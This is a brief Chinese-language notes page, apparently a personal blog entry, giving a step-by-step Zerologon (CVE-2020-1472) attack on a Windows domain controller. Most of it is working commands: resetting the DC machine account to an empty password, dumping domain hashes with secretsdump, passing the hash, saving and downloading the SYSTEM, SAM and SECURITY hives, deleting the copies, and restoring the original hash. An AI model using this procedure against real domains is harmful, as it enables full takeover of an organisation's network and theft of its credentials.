CVE-2020-1472

主要记下流程我擦，这个洞mimikatz也可以搞但是我就不记录了

检验漏洞是否存在

https://github.com/SecuraBV/CVE-2020-1472

先获取域控信息

然后测试能否攻击

python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR

将域控的机器账号被重置为空

https://github.com/risksense/zerologon

使用空密码dump域控上的hash

python3 secretsdump.py muxue.com/DC$@10.10.0.129 -no-pass

pth过去

恢复域控机子hash

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

lget system.save

lget sam.save

lget security.save

del /f system.save

del /f sam.save

del /f security.save

网上很多写的都是get 有可能是因为impacket里的wmiexec更新了变成了lget

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

然后还原hash

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

查看一下

secretsdump.py domain/administrator:pass@ip -just-dc-user "DC$"

我们可以比对一下上面的图已经成功修改回来了

记住是双引号包住机器名我看别人写的单引号我这里用单引号不成功

巴特西